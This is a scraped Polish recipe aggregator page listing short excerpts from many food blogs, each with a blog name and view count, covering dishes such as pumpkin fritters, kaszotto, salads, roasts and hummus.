warstwie dobrze rozgrzanego oleju, po około 2 minuty z każdej z czterech stron. Uważamy, aby nie przypalić. W razie potrzeby redukujemy płomień. Podajemy z czerwonym barszczem lub sosem, np. pieczarkowym

cool and minty
Pikantne placki z dyni 149

Magda Subtelnie słodkie, pikantne, ale przede wszystkim mega chrupiące, tak można zareklamować te placki. Szybsze niż ziemniaczane, ale tak samo smaczne i uniwersalne – do sosu, do pochrupania solo lub jak u mnie, z kleksem jogurtu dla złagodzenia pikantności na języku.   Składniki (na 10-12 placków): 500g dyni piżmowej 3 łyżki mąki 1 duże jajko szczypta pieprzu cayenne

Smaczna Strona
Sałatka ze szpinakiem i pieczoną dynią 169

przestudzoną dynię kroimy w kostkę, przekładamy do miski, dodajemy szpinak i pokruszony ser feta. Polewamy dressingiem, nie cały od razu, należy ocenić ile potrzeba. Posypujemy siemieniem lnianym. Resztę sosu sałatkowego można przechowywać w lodówce i wykorzystać do innych sałatek.  (adsbygoogle = window.adsbygoogle || []).push

Delusional Trine
Kaszotto z krewetkami i serem gorgonzola 172

bulionu. Gotujemy do momentu aż kasza wchłonie prawie cały płyn, następnie dodajemy kolejna porcję bulionu i tak aż do momentu aż kasza będzie ugotowana i z płynu utworzy się sos. Za drugim razem gdy dolewamy bulion dodajemy ser gorgonzola. Pamiętajmy o tym, że kaszę należy od czasu do czasu przemieszać i płyn powinien być prawie całkowicie wchłonięty przez kaszę

Delusional Trine
Makaron z kurczakiem i suszonymi pomidorami 174

paseczki suszone pomidory i jeszcze chwilę podsmażamy. W międzyczasie gotujemy makaron Do kurczaka dodajemy śmietanę i dokładnie wszystko mieszamy. Dusimy jeszcze kilka minut na wolnym ogniu. Tak przygotowany sos łączymy z makaronem i posiekaną natką pietruszki. Dokładnie mieszamy i gotowe!! :). Smacznego

Studencka Micha
Makaron z cukinią i pulpetami 156

Jeżeli lubicie makaron tak jak ja, to ten przepis  jest właśnie dla Was. Makaron z cukinią z  pulpetami z indyka w sosie śmietanowym to  moja propozycja na pyszny i szybki obiad . Składniki: 350 g makaronu 2 cukinie 500 g mięsa mielonego z indyka 1 cebula 1 czerstwa kajzerka 1 jajko 300 ml śmietany 18% zioła prowansalskie sól

magiczna kuchnia Kasi
Jabłka na ostro do mięs z czosnkiem i cebulą 179

dodatek ziół prowansalskich, bardzo poprawia smak całości. No i czosnek. Jabłka w takiej formie są świetnym dodatkiem zamiast przesłodzonej żurawiny do wszelkiego rodzaju pieczeni czy nawet mięs w sosie. Mają wyrazisty smak. Jabłka możecie pakować do słoików w zasadzie nawet po 30 minutach duszenia, wszystko zależy od tego, jakie jabłka macie. Ja lubię jednak jabłka trochę dłużej podusić z czosnkiem

Mieszam w Garnku
Lekka babka kokosowo-waniliowa. FIT Wielkanoc. 133

mniej smacznymi odpowiednikami. Na świątecznym stole królują jajka, które solo, w odpowiednich ilościach są nawet wskazane, ale to co na nie nakładamy już nie zawsze. Dlatego wysoko przetworzone, kaloryczne sosy zastąp domowymi na bazie jogurtu lub chudego twarożku z dodatkiem czosnku, chrzanu czy musztardy. Podobnie ciężkie sałatki z majonezem warto zamienić na świeże kompozycje z oliwą lub bogatym w kwasy

Fitsweet.me
Hummus z burakiem czerwonym. Arabska pasta po polsku. 196

działo bakteriobójczo, grzybobójczo, przeciwwirusowo, antyoksydacyjne i antymutagenne. Żal marnować taki potencjał. Koniecznie zróbcie i napiszcie mi o swoich wrażeniach. Jeżeli podobnie jak ja jesteście miłośnikami chrzanu, koniecznie zajrzyjcie tutaj sos chrzanowy. Składniki: 1 puszka ciecierzycy 2 nieduże buraczki czerwone 3 czubate łyżki pasty tahini 1-2 łyżki tartego świeżego chrzanu 1 łyżka miodu 1-2 ząbki czosnku

Fitsweet.me
Clafoutis z jabłkami i cynamonem 152

poukładaj w nim ćwiartki jabłek. Wstaw do piekarnika nagrzanego do 180°C i piecz 25-30 minut do suchego patyczka. Clafoutis możesz podawać na ciepło z lodami i sosem waniliowym albo w temperaturze pokojowej. Obie wersje są pyszne

Food Square
Kotlety schabowe w placku ziemniaczanym 542

każdej podzielonej. Na wierzch układamy kotlet, następnie układamy pozostałą. Smażymy przez kilkanaście minut, część spodnia musi się zezłościć, następnie przekładamy i smażymy do chrupkości placka. Podajemy z ulubionym sosem

R'n'G Kitchen
Tuńczykowe kwiatki 185

imprezę, do pracy. Zrobiłam tylko sześc sztuk z jednego płata ciasta i za mało.Taka mała przekąska przyjemność gwarantowana. 1 opakowanie ciasta francuskiego 1 żółtko 1 puszka tuńczyka w sosie własnym 160 g serka śmietankowego puszystego sól, pieprz 6 oliwek czarnych i zielonych 3 pomidorki koktajlowe kawałek papryki żółtej natka pietruszki szczypior, bratki Za pomocą foremki do wykrawania pierników kształt

wesoła kuchnia
KAPUŚNIAK NA ŻEBERKACH 217

mąkę, chwilę smażymy, dolewamy 1 łyżkę wazową gorącego wywaru i mieszamy. Przekładamy do garnka z zupą, zagotowujemy i gotujemy 10 minut. Próbujemy i ewentualnie dodajemy więcej soli lub np. sosu sojowego. Przed podaniem dekorujemy suszonym lub świeżym majeranek

cool and minty
POTRAWKA GOŁĄBKOWA 179

Szybki pomysł na obiad... potrawka o smaku gołąbkowym z mięsem mielonym, białą kapustą i ryżem w sosie pomidorowym. Taka potrawka to świetna propozycja na wykorzystanie składników po wykonaniu gołąbków, np. mamy resztki kapusty, która nie nadaję się już do ich zawijania. Możemy ją także wykonać, gdy najdzie nas chętka na gołąbki, ale nie mamy ochoty lub czasu na ich zawijanie

Kuchnia MagdaLeny
Kulki jaglane z mozarellą 155

kaszy jaglanej, spróbujcie zrobić takie kulki z kaszy z mozarellą. Chrupiące z zewnątrz i delikatne, kremowe w środku. Idealne jako dodatek do mięs albo podane na przystawkę z ulubionymi sosami. Składniki: – 1 szklanka kaszy jaglanej – 100g twardej mozarelli – 2 łyżki mąki kukurydzianej – sól i pieprz wg smaku Kaszę wypłukać bardzo dokładnie, ugotować i wystudzić. Mozarellę zetrzeć

Smaki Armine
Dynia faszerowana kaszą i szpinakiem 163

dynię wyjąć z piekarnika, łyżką wydrążyć środek.. Pokroić go na małe kawałki i również dodać do kaszy. Sok z cytryny wymieszać z 2 łyżkami zalewy z pomidorów, polać sosem kaszę i dokładnie wymieszać. Całość doprawić solą i pieprzem.  Tak przygotowanym farszem napełnić dynię i podawać

wyzwania kuchenne
Awokado burger 209

Ostatnio wszędzie widzę awokado burgery. Postanowiłam zrobić moją wersję tego popularnego burgera. Jest to super wege przepis (pomijając ser Halloumi, ale możemy zastąpić go grillowanym tofu, a sos curry jakimś innym wegańskim). To co spróbujecie go? Jest sycący, lekki a za razem pyszny! Polecam gorąco przepis! Czytaj więcej

Ana Mari's world
Sałatka z makaronem z zupek chińskich 187

makaron. Odstawiamy do ostygnięcia. Wszystkie składniki kroimy w drobną kostkę. Dodajemy do makaronu. Do jogurtu dodajemy: 1 łyżkę majonezu, łyżeczkę musztardy, łyżeczkę ketchupu. Doprawiamy solą i pieprzem. Tak powstały sos mieszamy z pozostałymi składnikami.  Sałatkę podaję udekorowaną posiekanym szczypiorkiem. Proste, łatwe i przyjemne :) Smacznego! Sałatka z zupek chińskich

Przepis na Dzień Dobry
Drożdżowe bułeczki z oliwkami i serem feta 164

więc spokojnie możecie je przygotować i spakować do pudełka na następny dzień.  Dodatki do bułeczek można dowolnie modyfikować, dodać więcej warzyw, wykorzystać inny rodzaj sera, pastę paprykową zastąpić sosem pomidorowym. Moja wersja jest bezmięsna, ale nie zaszkodzi także dodać dobrą wędlinę.  DROŻDŻOWE BUŁECZKI Z FETĄ I WARZYWAMI Z podanych składników wyszło 12 bułeczek Ciasto 250 g mąki pszennej

HealthyCreations
Batat faszerowany ciecierzycą i pomidorami 195

Bardzo aromatyczny batat podawany z delikatnym sosem na bazie jogurtu naturalnego. Batata umyć, wysuszyć i przekroić wzdłuż na pół. W misce wymieszać batata z olejem, solą i pieprzem. Piec

Bullio
Surówka z sałatą lodową, ogórkami i koperkiem 574

Sałatę i koper drobno siekamy, ogórki kroimy w półplastry, cebulę w kostkę.  2. Mieszamy ze sobą musztardę, majonez, sok z cytryny, sól i pieprz.  3. Powstałym sosem zalewamy warzywa, dokładnie mieszamy

Szefowa kuchni
Niedzielny obiad w stylu fine dining 178

Smażyć na rozgrzanej patelni małe placki. Seler naciowy obrać i przy użyciu obieraczki pociąć w cienkie paski. Sałatę porwać na podłużne kawałki. W miseczce przy użyciu rózgi wymieszać składniki sosu. Przed samym podaniem dodać sałatę i selera do dressingu,i wymieszać i posypać prażonymi pestkami i sezamem. W garnku zagotować wodę i wstawić dorsza do garnka lub sitka do parowania

Ugotowane pozamiatane
Kaczka pieczona z jabłkami 212

Celsjusza . Pieczemy przez 45 minut  w temperaturze 200 ° , a potem zmniejszamy do 170 ° i pieczemy kolejne 60 minut, pamiętając, aby często polewać kaczkę powstałym w trakcie pieczeni sosem. Po tym czasie zdejmujemy przykrywkę i pieczemy mięso przez 20 minut, aż się ładnie przyrumieni. Po wyjęciu z piekarnika odstawiamy kaczkę na 15 minut, aby mięso odpoczęło

Kulinarne przygody Gatity
Kaszotto z kurczakiem 183

bulionu. Gotujemy do momentu aż kasza wchłonie prawie cały płyn, następnie dodajemy kolejna porcję bulionu i tak aż do momentu aż kasza będzie ugotowana i z płynu utworzy się sos. Pamiętajmy o tym, że kaszę należy od czasu do czasu przemieszać i płyn powinien być prawie całkowicie wchłonięty przez kaszę, a ona dobrze ugotowana. Dodajemy kurczaka i warzywa i mieszamy

Delusional Trine
Surówka z dyni z bakaliami - kuchnia podkarpacka 186

Surówka z dyni z bakaliami - kuchnia podkarpacka Surówka z dyni z bakaliami kojarzy się z kuchnią kresową. Lekko słony, pikantny sos majonezowo-musztardowy i lekko słodka surowa dynia oraz   rodzynki i orzechy to połączenie, które przypadnie do gustu wielbicielom wschodniej kuchnia. Przepis pochodzi z północy Podkarpacia, z okolic Kolbuszowej. Na łamach Korso Kolbuszowskiego (nr 40/2018) udostępniły go panie

Trzeci talerz
Papryka Aleppo - co to jest 185

marynat, może być jednak traktowana jako zamiennik czerwonej ostrej papryki papryki.  Pieprz Aleppo można stosować do aromatyzowania oleju lub oliwy, jako dodatek do wszelkiego rodzaju dipów i sosów sałatkowych, a także grillowanych mięs (zwłaszcza steków i filetów drobiowych), warzyw, ryb i kebabów. Paryka Aleppo jest także składnikiem wielu mieszanek przeprawowych m.in. takich jak pasta paprykowa muhammara i za'atar

Kulinaria - potrawy z różnych stron świata
PASTERYZOWANE PODGRZYBKI W OLEJU + FILMIK 151

Podgrzybki zamknięte w słoiku to świetny sposób, na przechowanie ich dłużej i cieszenie się ich smakiem. Dzisiaj przygotowałam je smażone w oleju, można je użyć do jajecznicy, omletu, sosu itp. Smakują jak świeże zaraz po zebraniu i obróbce, czyli ugotowaniu, tak więc grzybki zachowuj swój smak na dłużej.  SKŁADNIKI :  3-5 kg grzybów  olej  sól

Kulinarne Fantazje Marioli
Dorsz z pesto i makaronem 258

ułóż w naczyniu żaroodpornym, którego dno wysmaruj pozostałą oliwą wymieszaną z winem. Wstaw do nagrzanego piekarnika (180 stopni) na ok. 20 minut. Ugotuj makaron al dente. Odcedź. Wymieszaj z sosem pozostałym z pieczenia ryby. Ja często dodaję jeszcze pesto jeśli trochę zostanie.Serwuj z cząstkami cytryny. Artykuł Dorsz z pesto i makaronem pochodzi z serwisu I LOVE LIFE

I LOVE LIFE
AL’A PIZZA KUKURYDZIANA Z PATELNI 149

wspomaga układ odpornościowy - zapobiega chorobom oczu - zwiększa produkcję czerwonych krwinek - jest dobrym źródłem witaminy A Składniki: - jajo 2 szt. - mąka kukurydziana (15 g) - otręby pszenne (10 g) - tuńczyk w sosie własnym (30g) - cebula czerwona (30 g) - pomidorki koktajlowe (30 g) - ser camembert (20 g) - serek wiejski (60 g) - przyprawy : sól himalajska, pieprz ziołowy, oregano, bazylia Wykonanie: Jaja ubić, wymieszać

Być w dobrej formie i tryskać pozytywną energią przez cały czas
KOPERTY Z TUŃCZYKIEM 205

śledzenia na Instagramie https://www.instagram.com/ gotowaniepatki/ ,oraz odwiedzenia mojego Bloga -- https:// gotowaniepatki.blogspot.com / będzie mi bardzo miło  składniki na 4 sztuuki: 4 dowolne tortillę 1 puszka tuńczyka stek w sosie własnym 10 dag sera żółtego (dowolnego) może być mozzarella 1 pęczek natki pietruszki sól i pieprz do smaku 3 łyżki majonezu 2 łyżki ketchupu np.pikantnego PRZYGOTOWANIE;  Tuńczyka (ja używam

Gotowanie Patki
Wędlina na kanapki. Domowa wędlina. Łopatka gotowana 2 razy 213

wyjmujemy łopatkę z zalewy, osuszamy papierowym ręcznikiem i wykorzystujemy jak chcemy np. kroimy łopatkę w plastry i obkładamy kanapki, lub kroimy w grube plastry i podajemy z jakimś pysznym sosem lub chrzanem, albo polecam przygotować mięso w galarecie . Jeżeli wykorzystujemy dużo większe objętościowo kawałki mięsa, szczególnie szynkę to polecam wydłużyć czas gotowania o 2-3 minuty lub zastosować 3-krotne

Damsko-męskie spojrzenie na kuchnię
Gęś pieczona z ziemniakami 163

wytopi, a skórka będzie śliczna i chrupiąca. Piekarnik nastawić na 120 stopni. Łącznie będziemy piec około 5-6 godzin! Gęś, mniej więcej raz na 1,5 godziny polewać wytworzonym sosem. Podczas pieczenia starajmy się jak najmniej do niej zaglądać – to znaczy nie otwierać piekarnika bez potrzeby. Gęś nie lubi częstego otwierania piekarnika. Po 5 – 6 godzinach gęś będzie upieczona - większą

królestwo garów
Langosze 234

oszukanej pizzy, ale takiej bardzo pulchnej i aromatycznej.  Langosz jest tak na tyle fajna propozycją, że można go jeść z różnymi dodatkami - leczo, gulaszem, kwaśną śmietaną, sosem czosnkowym czy ze startym żółtym serem. Ja osobiście polecam wam langosze z leczem, na którego przepis znajdziecie --> TUTAJ Zdecydowanie warto spróbować :) Składniki:   2 ugotowane ziemniaki 420g mąki pszennej (przesianej

ChilliJemy
Czekoladowe ciasto z pieczonych buraków 131

śmietankę/mleko z miodem i tuż przez zagotowaniem garnuszek zdjąć z palnika. Dodać posiekaną czekoladę i odstawić na 2-3 minuty. Po tym czasie całość wymieszać do powstania gładkiego sosu czekoladowego i pozostawić do lekkiego zgęstnienia. Gęstniejąca polewę rozprowadzić na wierzchu ostudzonego ciasta. Kakao (zmieliłam ziarna) oraz bio cukier z agawy użyty w przepisie pochodzą ze sklepu Yerba MaTe24 . Inspiracja

Di gotuje
Gołąbki z mięsem i pieczarkami 284

Zapiekam, duszę, w kapuście włoskiej, z mięsem, z pieczarkami, z ziemniakami itp. Wszystkie te przepisy znajdziecie na blogu. Dzisiaj mam dla Was gołąbki z mięsem i pieczarkami zapiekane w sosie. Niestety u mnie wszystkie zjedzone i pozostało tylko zdjęcie, ale w najbliższym czasie zrobię ponownie. A jakie Wy gołąbki robicie, jakie lubicie? Pochwalcie się swoimi przepisami i zdjęciami. Składniki

O kuchni z uczuciem
Pieczony camembert z orzechami, migdałami i figami (Camembert al forno con frutta secca) 164

minut, pieczenie ok. 15 minut i w niecałe 30 minut mamy gotowe wykwintne i bardzo bogate w smaku danie.  Ser po upieczeniu jest delikatnie ciągnący a sos miodowy w połączeniu z suszonymi figami, podpieczonymi orzechami i migdałami tworzy  prawdziw ą  eksplozję smaku.  Polecam Wam serdecznie ;):) **** Oggi vorrei condividere

La grande e la piccola cuoca
Pizza po domowemu 198

brytfannie wyłożonej papierem do pieczenia. Keczup połączyć ze śmietaną i koncentratem pomidorowym. Wyłożyć na ciasto. Parówkę i kiełbasę pokroić na mniejsze kawałki. Cebulę poszatkować drobno. Wyłożyć składniki na sos na cieście. Ser mozzarella odsączyć z zalewy. Pokroić w mniejsze kawałki. Posypać po pizzy. Szczypiorek poszatkować. Także posypać po pizzy. Przyprawić do smaku solą i pieprzem. Piec w piekarniku nagrzanym

Gotuję Testuję
KOPERKOWY SOS ŚMIETANOWY DO ZIEMNIAKÓW 100

upalnymi dniami.. Jednak aura za oknem nie przeszkadza, by przygotować typowo letnie potrawy, gdy zatęsknimy za słonecznymi miesiącami. Zgodzicie się ze mną? 🙂 Jednym z takich dań [...] Artykuł KOPERKOWY SOS ŚMIETANOWY DO ZIEMNIAKÓW pochodzi z serwisu sandrafrej.com

SandraFrej.com
Purée z dyni 142

tylko 26 kalorii) pomaga w odchudzaniu. Do czego można użyć dyni? Miąższ dyni może stanowić pyszny składnik zupy krem z dyni , dodatek do ciast, placuszków, kotletów, deserów, sosów, farszy do naleśników, klusek, past do chleba lub kremów do ciast. Dynia jest świetnym materiałem do robienia lampionów i innych ozdób, które są popularne o tej porze roku zwłaszcza w USA. Dynia

Kuchcik gotuje
Sałatka warzywna z kurczakiem 174

małego selera mały pęczek pietruszki 4 jajka 3 ogórki kiszone 1 jabłko 1 mała cebula 1 puszka groszku konserwowego 1 pierś z kurczaka 3 łyżki majonezu dekoracyjnego 3 łyżki sosu czosnkowego Vegeta, sól, pieprz, cukier           Mięso ugotować w wodzie z dodatkiem soli i Vegety; jajka ugotować na twardo; marchewki i seler ugotować w osolonej wodzie

Praktyczna pl
makaron domowy 196

odstawić na kolejne 30 minut. Teraz walkowac ciasto na potrzebna grubość i szerokość. Gotowa ć, w osolonej wodzie przez zaledwie kilka minut, w zależności od grubości. . Podawać z ulubionym sosem. Cieszyć się!! Z tego przepisu mo żna zrobic tagliatelle , szerokie Pappardelle , lasagne lub makaron tortellini czy ravioli. Gramatura podstawowa to o 100 gr (oko ło 2/3 filiżanki) z mąki

w mojej kuchni
BURRITO Z PALUSZKAMI RYBNYMI 147

świeżymi warzywami i chrupiącym Złotymi paluszkami rybnymi FRoSTY. Złote paluszki rybne FRoSTY idealnie komponują się z sałatką z czerwonej kapusty z dodatkiem chili oraz świeżą, zieloną sałatą. Całość dopełnia sos jogurtowy, który idealnie „skleja” i sprawia, że burrito się nie rozpada i jest idealnym pomysłem nie tylko do zjedzenia w domu, le też do zabrania do szkoły, pracy

Ostra na Słodko
Focaccia z rozmarynem, pomidorkami i oliwkami 172

Focaccia, czyli ciasto na pizzę bez sosu pomidorowego i sera. Jest fantastyczna jako przekąska lub dodatek do obiadu. Dla mnie niezaprzeczalnie focaccia z rozmarynem, pomidorkami i oliwkami jest najsmaczniejsza Polecam, zwłaszcza fanom pizzy. Focaccia z rozmarynem, pomidorkami i oliwkami Składniki: 3 szklanki mąki 20 g świeżych drożdży 3 łyżko oliwy z oliwek około 250 ml wody łyżka cukru sól Dodatkowo

PatiGotuje
Fasolka z warzywami, idealna do kaszy... 159

cukru. Posól do smaku. Zagotuj, przykryj, przykręć gaz i duś około 20 minut. Pod koniec dodaj koncentrat pomidorowy i odcedzona fasolkę. Zagotuj. Kaszę kuskus nakładaj na talerze i polewaj sosem

Lejdi of the house
Wtorek: BŁYSKAWICZNY MAKARON JAMIEGO OLIVERA 132

Rozgrzej w rondlu oliwę. Posiekaj drobno szalotkę, a chorizo w półplasterki. Podsmaż w rondlu na złoto. Dodaj makaron, podlej wodą z gotowania, podkręć temperaturę i chwilę smaż, aż sos zgęstnieje. Dodaj groszek, pietruszkę, miętę i wymieszaj. Podawaj pastę posypaną parmezanem. Smacznego! Artykuł Wtorek: BŁYSKAWICZNY MAKARON JAMIEGO OLIVERA pochodzi z serwisu Niedzielny kucharz

Niedzielny kucharz
Udka z kurczaka w pikantnej marynacie 163

lubicie potrawy pieczone w rękawie? Składniki na 2 porcje: – 5-6 udek z kurczaka bez skórek – 5 średnich ziemniaków – 1 łyżka cukru trzcinowego – 2 łyżki sosu worcester – 2 łyżki soku z cytryny – 1 łyżka kremu balsamicznego – 1/2 łyżeczki papryki cayenne – 1/2 łyżeczki pieprzu ziołowego – 1 łyżeczka papryki słodkiej wędzonej

Smaki Armine
Żeberka w marynacie miodowej pieczone w rękawie 137

subtelną nutą słodyczy, że naprawdę ciężko zrezygnować z dokładki. W moim domu poniższa porcja wystarcza na dwie osoby. Polecam! 500g żeberek wieprzowych Marynata: 1 łyżka miodu (płaska) 1 łyżka sosu sojowego 1/2 łyżeczki soli 1/2 łyżeczki papryki ostrej 1/2 łyżeczka czosnku granulowanego 1 łyżeczka majeranku 1/2 łyżeczki tymianku Dodatkowo: 2 l istki laurowe Umyte i osuszone żeberka porozcinać na mniejsze

Di gotuje
BURGERY Z KURCZAKIEM, BAZYLIĄ, PESTO I WARZYWAMI 146

pokrój w drobną kostkę, pomidorki koktajlowe umyj, osusz i przekrój na pół, cykorię umyj, osusz, usuń twardy rdzeń, pokrój w drobne paski, wszystkie warzywa wymieszaj w misce, dopraw sosem z cytryny, oliwy z oliwek, solą i pieprzem. Odstaw. Przygotuj pesto: zmiksuj czosnek, orzeszki piniowe (lub zmielone migdały) i starty parmezan, dodaj oliwę z oliwek. Dodaj drobno posiekaną bazylię, dopraw solą

Smaki Francji współczesna kuchnia francuska
tortilla z kurczakiem 170

garach też, ale pierś z kurczaka bardzo szybko się smaży więc danie mamy w niecałe 20 min.  Składniki: tortilla - 2 szt pierś z kurczaka ulubione przyprawy do kurczaka + sos sojowy sałata  pomidor kukurydza majonez Przygotowanie: kurczaka kroimy w kostkę i przyprawiamy  podsmażamy na patelni na złoty kolor ze wszystkich stron  na patelni podsmażamy delikatnie tortillę

Gotowanie z pasją
Klasyczne bułki do hamburgerów – idealnie puszyste, w godzinę! 248

hamburgerów w przeciwieństwie do chleba czy pizzy wyrastają tylko raz, w lekko rozgrzanym piekarniku – są gotowe do zjedzenia w godzinę! Miękkie, lekkie i sprężyste – świetnie znoszą napakowanie mnóstwem sosów, dodatków i ciężar dużego burgera . Kulinarna pozycja obowiązkowa – przeczytajcie wszystkie wskazówki, zakasajcie rękawy i do dzieła! PRZYGOTOWANIE CIASTA Bardzo lekko podgrzewamy piekarnik w który włożymy bułki do podrośnięcia – temperaturę wewnątrz piekarnika

Karo in the Kitchen
Sałatka z pieczonego bakłażana i papryki 198

oraz posiekaną natkę pietruszki. Dodać ulubione oliwki. Składniki do dressingu umieścić w miseczce i energicznie wymieszać do powstania aksamitnej emulsji, na koniec dodać posiekany czosnek, wymieszać. Przygotowane warzywa polać sosem i delikatnie przemieszać. Sałatkę przed podaniem powinno się schłodzić, wtedy smakuje najlepiej. Smacznego

Wino Francja Kuchnia
Pieczona dynia Hokkaido 132

bardzo popularna i prosta w przygotowaniu dynia. Ma piękny kolor, super smakuje i nie trzeba jej obierać ze skóry. Pieczona dynia Hokkaido z mojego przepisu jest świetną bazą pod sosy i zupy. - idealna jako samodzielna przekąska - po zmiksowaniu powstaje pyszna pasta - pasta jest też bazą pod zupę krem z dyni

AniaGotuje.pl
Hummus 191

właśnie, połączone z czosnkiem, tahini (pastą sezamową), oliwą z oliwek, sokiem z cytryny i przyprawami. Całość jest następnie miksowana na jednolitą masę. Hummus serwowany jest jako dip, smarowidło lub sos. Zazwyczaj towarzyszą mu świeże warzywa, pieczywo pita czy pieczywo tostowe. Przygotowany tylko z warzyw jest więc doskonałą potrawą dla wegetarianów. Jeśli zatem w najbliższym czasie szykuje się Wam jakaś impreza

mecooks
Dieta szybka przemiana - Tygodniowy jadłospis - jesień 167

zamiennie jajko sadzone na pomidorach lub szpinaku+kromka chleba orkiszowego+śliwki duszone z ksylitolem i cynamonem II śniadanie 2 ciasteczka słonecznikowe+marchewka obiad filet z indyka lub schabu w sosie pomidorowo-kokosowym (porcja 120 g) +bataty pieczone z olejem sezamowym+fasolka szparagowa+grapefruit podwieczorek mus migdałowy (1 porcja 2 łyżki) + 2 selery naciowe kolacja kromka chleba orkiszowego

Gotuj zdrowo!Guten Appetit!
Sałatka z buraków w majonezowo- tuńczykowym sosie 118

buraków 2 jajka 2 ogórki konserwowe 4 kawałki papryki konserwowej 1 czerwona cebula 1 pęczek natki pietruszki 1 mała puszka kukurydzy konserwowej 2 łyżki majonezu 80 g tuńczyka w sosie własnym sól, pieprz Przygotowanie Buraki czyścimy, owijamy w folię aluminiową, przekładamy na blaszkę do pieczenia i zapiekamy 90 min w 180°C . (Długość pieczenia zależny jest od wielkości buraków. Proponujemy

R'n'G Kitchen
Pająk 3D w galaretce 171

adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Gerbera 3D w galaretce na spodzie serka z wanilią → Deser „dżdżownica w ogródku” → Udawany naleśnik → Fettuccine z galaretki z sosem truskawkowym i miętą

Oryginalny smak
Pieczarki w glazurze miodowo-balsamicznej / Honey balsamic mushrooms 384

pieczarki, dopraw solą i pieprzem i smaż przez 1-2 minuty, aż lekko zmiękną i delikatnie się zarumienią. W małej misce wymieszaj porządnie ocet balsamiczny, miód i czosnek. Dodaj sos do pieczarek i gotuj przez około 3-5 minut, aż zgęstnieje i oblepi pieczarki. Posyp pietruszką i podawaj z ulubionym daniem głównym. Smacznego! English version Honey balsamic mushrooms (4 servings

karmelowy
Kluski śląskie - kluski guminowe, gumione, białe, kartofelmelklezy, gumiklyjzy 312

Kciukiem w każdej klusce robić wgłębienie. Wrzucać kluski do wrzącej lekko osolonej wody. Gotować na małym ogniu, około 2 minuty od momentu zagotowania. Podać okraszone boczkiem, słoniną lub z sosem. zastawa

królestwo garów
GRZANKI Z BRYNDZĄ I POMIDORKAMI 223

mleka owiec.  To tak w wielkim skrócie o pochodzeniu sera 😉  Bryndza ma oryginalny aromat, dlatego ceniony jest przez wymagających smakoszy. To również znakomity  dodatek do sosów i sałate k. A ponieważ jest serem tłustym, o konsystencji łatwo się rozpuszczającej, jest także świetnym dodatkiem do  grzanek typu bruschetta. I właśnie do takich pysznych grzanek wykorzystałam

Walijskie Pichcenie
Makaron z sosem borowikowym 140

Obrałem czosnek, zeszkliłem go na patelni na oliwie. Dodałem pokrojone borowiki, podsmażyłem je przez 3 minuty, dodałem posiekany szczypior i pomidory, lekko posoliłem. Ugotowałem makaron. Przełożyłem na patelnię z sosem, doprawiłem pieprzem i chwilę podsmażyłem na dużym ogniu. Podałem na gorąco, posypując startym parmezanem

R'n'G Kitchen
KURCZAK MARYNOWANY W KETCHUPIE I PIECZONY W PANIERCE + FILMIK 141

około 180 % C. Pod koniec pieczenia obracamy na drugą stronę aby troszkę skóra zmiękła i zakręcamy piekarnik. Mięska ponownie obracamy i wyciągamy na półmisek.  Podajemy ciepłe z ulubionymi sosami, smacznego.                                           Zapraszam do obejrzenia filmiku i subskrybcji kanału

Kulinarne Fantazje Marioli
KROKIETY Z PIECZARKAMI I MOZZARELLĄ 184

Kucharska Krokiety z pieczarkami i mozzarellą. Przepis na pyszne domowe krokiety z pieczarkami. Niezwykle aromatyczne, lekko pikantne krokiety z pieczarkami, cebulą, mozzarellą i boczkiem. Można podawać z barszczem czerwonym, sosem grzybowym lub jako samodzielne danie na przystawkę. Takie krokiety mogą stanowić także świetny dodatek do lekkich zup oraz bulionów. Jak zrobić krokiety z pieczarkami i mozzarellą - wypróbowany przepis, składniki

Moja Książka Kucharska
WYTRAWNE PLACKI O SMAKU PIZZY 140

powiecie na placki o smaku pizzy? Pyszne, chrupiące, szybkie w przygotowaniu. Doskonale nadają się na obiad ale i kolację. Najlepiej smakują na ciepło z ketchupem lub innym ulubionym sosem. Moja rodzina była nimi zachwycona, zniknęły z talerza w błyskawicznym tempie :) Składniki na około 24 placki: * 120 g kabanosów (użyłam kabanosów o smaku sera chedar  Henryk Kania ) * 200 g pieczarek

Zrób to smacznie
Ravioli z pieczoną dynią, podane z palonym masłem i chrustem z pestek. 169

nasienne, polewamy oliwa lub olejem rzepakowym tłoczonym na zimno. Obok połóż główkę czosnku, upiecz sobie go przy okazji więcej, sprawdzi się do wielu past na kanapki czy też do sosu czosnkowego. Upieczoną dynię i czosnek zmiksuj na gładką masę dopraw i nadziewaj ravolii. Możesz też zrobić je w innej formie, jeśli wolisz np. okrągłe, tutaj pełna dowolność. Gotowe ravioli wrzucamy

SMYKWKUCHNI
Tagliatelle z krewetkami i pomidorami 173

rodzaju makaron: spaghetti, tagliatelle, farfalle, penne, cannelloni, lasagne, tortellini... U nas na talerzach smakujemy tagliatelle, które swój piękny zielony kolor zawdzięczają algom morskim. Podałam go z krewetkami w pysznym sosie śmietanowo-pomidorowym. Pycha! Tagliatelle z krewetkami i pomidorami Składniki na 2 porcje: 200g makaronu tagliatelle 300g świeżych krewetek 2 ząbki czosnku 100ml białego wina 100ml śmietanki 30% 200g pomidorów cherry

Obiad gotowy
Placki dyniowo – ziemniaczane z nasionami konopi 161

białko. Z czym lubicie jeść placki? Moje dzieci na słodko, ostatnio z dżemem i twarożkiem. Jakoś na słodko najbardziej lubią. Ja za to lubię placki ziemniaczane z sosem z grzybów. Sezon na dynię trwa, więc polecam wypróbować placki dyniowo ziemniaczane. Na pewno zgodzicie się ze mną, że tarcie placków na tarce nie należy do przyjemności. Odkryłam nowy sposób – miksuję

codojedzenia
Lunch box dla każdego 166

kroję w mniejsze kawałki. Mieszam z ugotowanymi warzywami. Dodaję oliwki - wedle uznania - aczkolwiek ja je uwielbiam :) Łyżkę stołową przyprawy mieszam z dwiema łyżkami oliwy i jedną łyżką wody. Polewam sosem sałatkę i mieszam. Prawda, że proste? A jakie smaczne :) Sałatka z kurczakiem

Przepis na Dzień Dobry
Krem z buraka z mleczkiem kokosowym 140

Następnie dodaję puree buraczane i podlewam bulionem drobiowym. Przyprawiam solą, pieprzem, 2 łyżeczkami czosnku, 1 łyżeczką imbiru i 2 łyżeczkami kolendry. Dodaję ok. 3 łyżki stołowe maggi, 1 łyżkę sosu sojowego i 1 łyżkę soku z limonki. Oczywiście proporcje te możecie zwiększać lub zmniejszać według Waszego uznania :)  Z przyprawami jest tak, że nie każdy lubi doprawiać potraw

Przepis na Dzień Dobry
Kotleciki „paluszki” drobiowe w cieście kukurydzianym 172

